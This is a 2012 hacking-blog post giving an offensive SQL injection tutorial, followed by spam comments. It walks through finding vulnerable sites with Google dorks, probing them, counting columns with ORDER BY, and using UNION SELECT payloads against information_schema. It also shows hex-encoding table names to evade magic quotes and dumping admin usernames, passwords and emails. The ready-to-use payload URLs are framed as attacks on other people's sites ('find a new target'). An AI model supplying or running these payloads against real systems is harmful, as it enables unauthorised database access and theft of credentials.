Tuesday, January 31, 2012

Basic SQL injection tutorial - Readers Choice

Hello readers. This has been a very busy week for me. But i had to take out time for my blog. First of all I would like to thank you all for visiting my blog frequently and post your feedbacks and requests. In the past one month Hackerszone has seen an enormous growth in traffic. today I am writing on SQL injection. this is my third tutorial on SQL injection but there is a heavy demad for it again and again. I have kept it a bit higher than basic level as you can go around and find lots of material for basics. Here I have compiled the major techniques in a single tutorial. So lets start.

What is SQL Injection?

SQL Injection (Or SQLi for short) is a method of code injection into Structured Query Language (SQL) databases. It exploits a security issue where a user's input is not correctly filtered, usually due to poorly coded query language interpreters.
Consider this code:
statement = "SELECT * FROM `members` WHERE `user` = '" + user + "';"

The above statement selects the specified "user" from the "members" table. Do you see any problems with this? Consider the following input as a username:
' or 'x' = 'x

When the database tries to pull up records of that username, this is the resulting query:
SELECT * FROM `members` WHERE `user` = '' OR 'x'='x';

Now, as you can see, the username is actually completely blank contained within the '', but the following OR statement will return true, as 'x' always = 'x'. Due to this problem of incorrectly filtering database queries, the hacker can input his/her own malicious code.

The above was just one example of SQL Injection, what we will be learning in this tutorial, is integer based SQL Injection using the ORDER BY and UNION SELECT queries.

Googe Dorks?

Before we get started on the rest of the tutorial, you will need to know what a Google dork is, and no, it's not the kind of dork you are thinking of!
A google dork is a small search phrase done by the hacker to find sites vulnerable to SQL Injection. Usually this search term will be very small and it will look for specific lines of text within the webpage or in the URL. I've included some here as a start:

Is my site vulnerable?

Now after you have found a site using a Google dork you need to check if it is vulnerable to integer based SQL Injection. To do this, it's simple. All you need to do is add an apostrophe ( ' )to end of the URL. You should get an error similar to this back:
Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\' ORDER BY date_added DESC' at line 1

If you get this error, it usually means your site is vulnerable!


Our first step to accessing the database, will to be find how many columns there are in the site. To do this, we use the ORDER BY x-- query (x being an integer variable). Example:
www.examplesite.com/index.php?id=5 ORDER BY 1--

We want to keep increasing "x" until we get back an error. So why? Imagine our database has 4 columns, if we try to order by the 5th, it can't access it. It doesn't exist. So if we get an error on ORDER BY 5--, it means we have 4 columns. Here is an example:
www.examplesite.com/index.php?id=5 ORDER BY 1-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 2-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 3-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 4-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 5-- (Error)

We can now determine the site has 4 columns.


We use the union select statement to combine the results of multiple querys in our SQLi. To test if it works, go to our sites normal URL, and write "UNION SELECT 1,2,3,4--" (without quotes) after it. In our example, we use "1,2,3,4--", but on other sites, you will usually have a different number of columns. Example: On a site with 5 columns it would be "union select 1,2,3,4,5--".

www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,3,4--

You have probably noticed several numbers have appeared on the page. This is the vulnerable columns we are going to use for our SQLi. In our example, column 3 is vulnerable. You have also probably noticed I have replaced id=5 with id=-5. The reason for this is that sometimes our query on the page will be covered up by text or images, making it hard to find, or only viewable in the source code. To bypass this, we try to get the site to call a non-existing page (id=-5, there are no pages with the ID of -5). Usually this will result in the page being cleared of all text and images. If it doesn't work, just remove the - and continue on as normal.


This will be one of the easier things to do and understand, the name of the query itself is self explanatory. After we have tested UNION SELECT (and it works) we simply input VERSION() into one of the vulnerable columns in our URL, example:
http://www.examplesite.com/index.php?id=-5 union select 1,2,VERSION(),4--

We had 4 columns in our example and the vulnerable column was number 3. We have replaced the number 3 with VERSION(). You should now see the SQL version of the database. This tutorial will only deal with Integer based injection on SQL version 5 and above.

If our target has a version over 5, continue reading, if not, you need to find a new target or read a different tutorial.


Now we are going to get into the tables. This is where all the information you are looking for will be kept, but first, we need to find the table names. To do so, replace VERSION() with group_concat(table_name). Then after your last column number, add "from information_schema.tables--". Example:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(table_name),4 from information_schema.tables--

What this code is doing, is combining the queries of column 1,2,3 and 4. In column 4, it is selecting all possible table names. These queries are then taken from information_schema.tables. You should now see a list of all table names on the screen.


To find the column names we do the same thing, but replace tables with columns, but we include which table to get the column names from. What we want to use is a table which seems like it would include some good information, for our example, we are going to say we found the table "admin". Example:

http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name='admin'--

Here, as before, we are combining the queries of 1,2,3 and 4. In column 3 we are requesting all of the column names from information_schema.columns, but this time only from where the table_name is equal to "admin". Otherwise we would get the name of every column in the database, and this would just take much longer to go through.

Magic Quotes?

One common problem when completing the Column_Name stage is that they still recieve an error. This can be frustrating to those new to SQL Injection, so I'm going to cover the reason for this.

The problem here, is that the admin of the site has attempted to outsmart you by using "Magic Quotes". What this does, is it only allows you to select from the table if the table_name is in hex. You can convert your table name to hex by going here: http://www.swingnote.com/tools/texttohex.php

Our query will now look like this:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x61646d696e--

You have most likely noticed that if you convert our plaintext column name into hex, the 0x isn't shown. The 0x is something we put in ourselves, which tells the site that the following text is going to be in hex.

Extracting Data

To finish off, we need to extract the data from the columns we have chosen. Once we found out the column_names, we can then use them in our group_concat() query to get exactly what we have been looking for. In our example, we will have found the column names "username", "password" and "email.
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(username,0x3a,password,0x3a,email) from admin--

This query extracts the usernames, passwords and emails from the admin table. Remember I told you what 0x does? Well you will notice it again in our last query. 0x3a is the hex code for a colon ( : ). It is used so we can seperate our results easier, by doing this, we will get returned the following:


Feel Free to Ask Anything.
Hope you like it.
Enjoy and don’t forget to comment.



nipasarker said...

Degmor Inc. is the only company that can promise all three of these qualities and qualifications. When disaster strikes, do you really want to trust your property to someone who doesn’t have your best interests at heart?
Contact us today.water damage service

nipasarker said...

Los Angeles …Look at the site…News about residential income/rental property in Los Angeles.
Los Angeles Housing Dept

dongdong said...

adidas gazelle
toms outlet
michael kors outlet
sac longchamp pliage
adidas uk
michael kors handbags
michael kors handbags
air max 95
true religion jeans
michael kors outlet
ghd hair straighteners
michael kors
ugg boots
hollister uk
coach factory outlet online
nike store uk
ugg boots
hermes belt
moncler outlet
canada gooses jackets
ralph lauren outlet
oakley sunglasses
michael kors uk
toms outlet
nike uk
jordan shoes
new balance outlet
louis vuitton uk
louis vuitton handbags
michael kors
adidas shoes
prada outlet
kate spade outlet
nike trainers
christian louboutin outlet
michael kors
michael kors outlet
nike roshe run women
gucci borse

Unknown said...

شركة ريم جدة
شركة تنظيف بجدة
نقل عفش بالخرج
ارخص شركة مكافحة حشرات بجدة
شركة مكافحة حشرات بالقطيف
شركة نقل عفش بجازان

PalaPala said...

Air Jordan 11
Pandora Outlet
Pandora Jewelry
Air Max 270
Air Jordan 9
Pandora Jewelry Official Site
Yeezy boost 350 v2
Jordans 11
Jordan Retro 11
Red Bottom Shoes For Women

Coqicoqi said...

Pandora Outlet
Air Jordan 11
Jordans 11
Kyrie Irving Shoes
Pandora Jewelry Official Site
Retro Jordan 11
Red Bottom Shoes
Adidas Yeezy
Jordan 9

jan said...

نقل عفش من الرياض الى جدة نقل عفش من الرياض الى جدة

PalaPala said...

Air Jordan 9
Jordan Retro 11
Air Jordan
Pandora Outlet
Nike Air Max 270
Jordans 11
Kyrie Irving Shoes
Pandora Jewelry
Yeezy boost 350 v2

sandy said...

ارخص شركة نقل اثاث

ارخص شركة نقل اثاث بالرياض

Post a Comment

Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Web Hosting Bluehost